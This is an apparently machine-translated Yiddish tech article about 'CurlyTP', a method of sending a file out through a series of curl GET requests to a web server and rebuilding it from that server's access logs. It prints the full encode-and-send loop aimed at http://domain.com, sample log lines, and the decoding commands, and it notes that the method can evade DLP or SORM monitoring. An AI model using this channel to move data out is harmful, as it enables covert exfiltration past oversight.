ืืืื ืื ืืืืงืืคืขืืืข ืืขืคึฟืื ืืฆืืข, ืึท ืืืื ืงืึทืคึผ ืืื ืึท ืงืึทื ืกืคึผืืจืึทืกื ืืขืฆืืึทื ืืืึธืก ืกืขืจืืืขืก ืฆื ืืืขืงืกื ืืื ืคึฟืึธืจืืึทืฆืืข ืึธืืขืจ ืขืืืขืืข ืืืื ืฆืืืืฉื ืืขื ืืฉื ื ืืฆื ืึท ืกืื ืึธืจื. ืืขืจ ืืขืืึทื ืง ืืื ืึทื ืืขื ืืฉื ืงืืื ืืึธื ืืจืขืคื - ืึธืืขืจ ืืื ื ืึธื ืืืขืงืกื ืืื ืคึฟืึธืจืืึทืฆืืข ืฆื ืืึทืืื ืึทืคึผืขืจืืืฉืึทื ืึทื ืืืืขืจืงืืึทื.
ืื ืืืืืื ื ืึธืจื ืืึธื ื ืืฉื ืฆืืฆืืขื ืืคืืขืจืงืืึทืืงืืึทื. ืืขืจืืืขืจ, ืืื ืื ืึธืคืคืืื ืข ืืืขืื ืืื ืึธืคื ื ืืฆื ืืืกืงืจืื ืืืื: ืึท ืคืจืืึท ืฆืืื ืืื ืื ืืืึทื ื, ืึท ืืืืืืึธืืขืง ืืื, ืึธืืขืจ ืึท ืคึผืืกื ืืื ืึท ืืืื.
ืขืก ืืขื ืขื ืคืืืข ืขื ืงืจืืคึผืฉืึทื ืืื ืึทื ืึธื ืืืืืึทืืืึธื ืืืฉืืจืื ืืืืฃ ืืขืจ ืืื ืืขืจื ืขืฅ, ืึธืืขืจ ืืขืจ ืคืึทืงื ืคืื ื ืืฆื ืื ืืืฉืืจืื ืึทืืจืึทืงืฅ ืืคืืขืจืงืืึทืืงืืื. ืืื ืึทืืืฉืึทื, ืืื ืงืขื ืืืื ืืคืืขืฉืืขืื ืืืืฃ ืื ืคึฟืืจืืข ืึธืืขืจ ืจืขืืืจืื ื ืืืจืื. ืืืึธืก ืฆื ืืึธื?
ืืขืืืขืืึธืคึผืขืจ Ryan Flowers ืคืืจืืขืืืืื ืึท ืืฉืืงืึทืืืข ืึธืคึผืฆืืข - . ืืืื ืืืจ ืืจืึทืืื ืืืขืื ืืื, ืืืึธืก ืืื ืึท ืืืขื ืกืขืจืืืขืจ ืืึธื? ืจืืกืืืื ืจืืงืืืขืก, ืึทืจืืืกืืขืื ืืขืงืขืก ืืื ืฉืจืืืื ืืึธืืก. ืืื ืขืก ืืึธืืก ืึทืืข ืจืืงืืืขืก, ืืคืืื ืืืืจืขืื!
ืขืก ืืืจื ืก ืืืืก ืึทื ืงืืื ืืืขื ืกืขืจืืืขืจ ืึทืืึทืื ืืืจ ืฆื ืจืึทืืขืืืขื ืึผืืขื ืงืืื ืึธื ืืึธื ืืื ืื ืงืืึธืฅ. ืคืืึธืืืขืจืก ืืขืืืืืฉื ืืื ืฆื ื ืืฆื ืืขื.
ืขืจ ืึธืคืคืขืจืก ืืขื ืึธืคึผืฆืืข:
- ื ืขืืขื ืึท ืืขืงืกื ืืขืงืข (ืกืื ืึธื ืืึธื) ืืื ืจืขืืขื ืขื ืื ืืึทืฉ (md5sum).
- ืืืจ ืขื ืงืึธืื ืขืก (gzip + uuencode).
- ืืืจ ืฉืจืืึทืื ืฆื ืื ืงืืึธืฅ ื ืืฆื ืึท ืืืืืืจืึทืืื ืคืึทืืฉ ืืขืื ืฆื ืื ืกืขืจืืืขืจ.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shืฆื ืืืืขื ืขื ืึท ืืขืงืข, ืืืจ ืืึทืจืคึฟื ืฆื ืืืจืืคืืจื ืื ืึทืคึผืขืจืืืฉืึทื ื ืืื ืคืึทืจืงืขืจื ืกืืจ: ืืขืงืึธืืข ืืื ืึทื ืืืคึผ ืื ืืขืงืข, ืงืึธื ืืจืึธืืืจื ืื ืืึทืฉ (ืื ืืึทืฉ ืงืขื ืขื ืืืื ืืขืฉืึธืืขื ืืจืึทื ืกืืืืืขื ืืืืขืจ ืขืคืขื ืขื ืืฉืึทื ืึทืื).
ืกืคึผืืืกืึทื ืืขื ืขื ืจืืคึผืืืืกื ืืื =+=ืึทืืื ืึทื ืขืก ืืขื ืขื ืงืืื ืกืคึผืืืกืึทื ืืื ืื ืึทืืจืขืก. ืืขืจ ืคึผืจืึธืืจืึทื, ืืืึธืก ืืขืจ ืืืืจ ืจืืคื CurlyTP, ื ืืฆื Base64 ืงืึธืืืจืื ื, ืืื E- ืืจืืื ืึทืืึทืืฉืืึทื ืฅ. ืื ืืงืฉื ืืื ืืขืืืื ืืื ืึท ืงืืืืขืจื ?transfer?ืึทืืื ืึทื ืืขืจ ืืึทืงืืืขืจ ืงืขื ืขื ืืืืื ืืขืคึฟืื ืขื ืขืก ืืื ืื ืืึธืืก.
ืืืึธืก ืืึธื ืืืจ ืืขื ืืื ืื ืืึธืืก ืืื ืืขื ืคืึทื?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"ืืื ืฉืืื ืืขืจืืื ื, ืฆื ืืึทืงืืืขื ืึท ืกืื ืึธื ืืึธื ืืืจ ืืึทืจืคึฟื ืฆื ืืืจืืคืืจื ืื ืึทืคึผืขืจืืืฉืึทื ื ืืื ืคืึทืจืงืขืจื ืกืืจ:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gืืขืจ ืคึผืจืึธืฆืขืก ืืื ืืจืื ื ืฆื ืึธืืึทืืืื. Md5sum ืฉืืืขืืขืืขื, ืืื ืืขืจ ืืื ืืึทืื ืคืื ืืขืจ ืืขืงืข ืืึทืฉืืขืืืงื ืึทื ืึทืืฅ ืืื ืืขืืืขื ืืืงืึธืืืึทื ืจืืืืืง.
ืืขืจ ืืืคึฟื ืืื ืืืืขืจ ืคึผืฉืื. "ืื ืคืื ื ืคืื ืืขื ืืขื ืืืื ื ืืื ื ืึธืจ ืฆื ืืึทืืืืึทืื ืึทื ืืขืงืขืก ืงืขื ืขื ืืืื ืืจืึทื ืกืคืขืจื ืืืจื ืืืืฉืืืืืง ืืืกื ืืืขื ืจืืงืืืขืก, ืืื ืขืก ืึทืจืืขื ืืืืฃ ืงืืื ืืืขื ืกืขืจืืืขืจ ืืื ืงืืึธืจ ืืขืงืกื ืืึธืืก. ืืกืขื ืฉืึทืื, ืืขืืขืจ ืืืขื ืกืขืจืืืขืจ ืืื ืึท ืืืืืื ื ืึธืจื! โ ืฉืจืืืื ืคืืึธืืืขืจืก.
ืคืื ืงืืจืก, ืืขืจ ืืืคึฟื ืึทืจืืขื ืืืืื ืืืื ืืขืจ ืืึทืงืืืขืจ ืืื ืึทืงืกืขืก ืฆื ืกืขืจืืืขืจ ืืึธืืก. ืืืขืจ ืึทืืึท ืึทืงืกืขืก ืืื ืฆืืืขืฉืืขืื, ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืจื ืคืืืข ืืึทืกืืขืจื.
ืืื ืฆื ื ืืฆื ืขืก?
Ryan Flowers ืืืื ืึทื ืขืจ ืืื ื ืืฉื ืึทื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืืขืจืืืื ืขืงืกืคึผืขืจื ืืื ืืืขื ื ืืฉื ืฆืื ืืืคืฉืืขืื ืึท ืจืฉืืื ืคืื ืืขืืืขื ื ืืฆื ืคึฟืึทืจ CurlyTP. ืคึฟืึทืจ ืืื, ืขืก ืืื ื ืึธืจ ืึท ืืึทืืืืื ืคืื ืืึทืืจืืฃ ืึทื ืื ืืึทืงืึทื ื ืืืฉืืจืื ืืืึธืก ืืืจ ืืขื ืืขืืขืจ ืืึธื ืงืขื ืขื ืืืื ืืขืืืืื ื ืืืืฃ ืึท ืึทื ืงืึทื ืืืขื ืฉืึทื ืึทื ืืืขื.
ืืื ืคืึทืงื, ืืขื ืืืคึฟื ืืื ืึท ื ืืืขืจ ืคืื ืึทืืืืึทื ืืืืืฉืื ืืืืขืจ ืื ืืขืจืข ืกืขืจืืืขืจ "ืืืืื" ืืื ืึธืืขืจ : ืขืก ืืึทืจืฃ ืงืืื ืกืคึผืขืฆืืขืืข ืงืึทื ืคืืืืขืจืืืฉืึทื ืืืืฃ ืื ืกืขืจืืืขืจ ืืืึทื ืึธืืขืจ ืงืืื ืกืคึผืขืฆืืขื ืคึผืจืึธืืึธืงืึธืืก - ืืื ืืืขื ื ืืฉื ืืืขืงื ืงืืื ืืฉื ืฆืืืืฉื ืื ืืืืก ืืึธื ืืืึธืจ ืื ืคืึทืจืงืขืจ. ืขืก ืืื ืึทื ืืืืงืื ืึทื ืึท SORM ืึธืืขืจ DLP ืกืืกืืขื ืืืขื ืืืขืจืงืืงื URL ืก ืคึฟืึทืจ ืงืึทืืคึผืจืขืกื ืืขืงืกื ืืขืงืขืก.
ืืึธืก ืืื ืืืื ืขืจ ืคืื ืื ืืืขืื ืฆื ืึทืจืืืขืจืคืืจื ืึทืจืืืงืืขื ืืืจื ืกืขืจืืืืก ืืขืงืขืก. ืืืจ ืงืขื ืขื ืืขืืขื ืงืขื ืืื ืขืืืขืืข ืึทืืืึทื ืกืืจืืข ืงืึธืืคึผืึทื ืืขืก ืืขืืืืื ื ืฆื ืฉืืขืื ืึธืืขืจ ืืื ืื ืงืึธื ืคืื HTML ืืืขืืขืจ.
ืืขืจ ืืขืืึทื ืง ืืื ืืขืืืขื ืึทื ืืืืื ืืืขื ืืขืืืขืืึธืคึผืขืจืก ืืืขืื ืืขื ืืขื ืืกืืขืจ ืื, ืืืืึทื ืึท ื ืึธืจืืึทื ืืขื ืืฉ ืืืึธืื ื ืืฉื ืงืืงื ืืื ืื ืืขืืขืจื ืึธืืขืจ HTML ืงืึธื.
ืืงืืจ: www.habr.com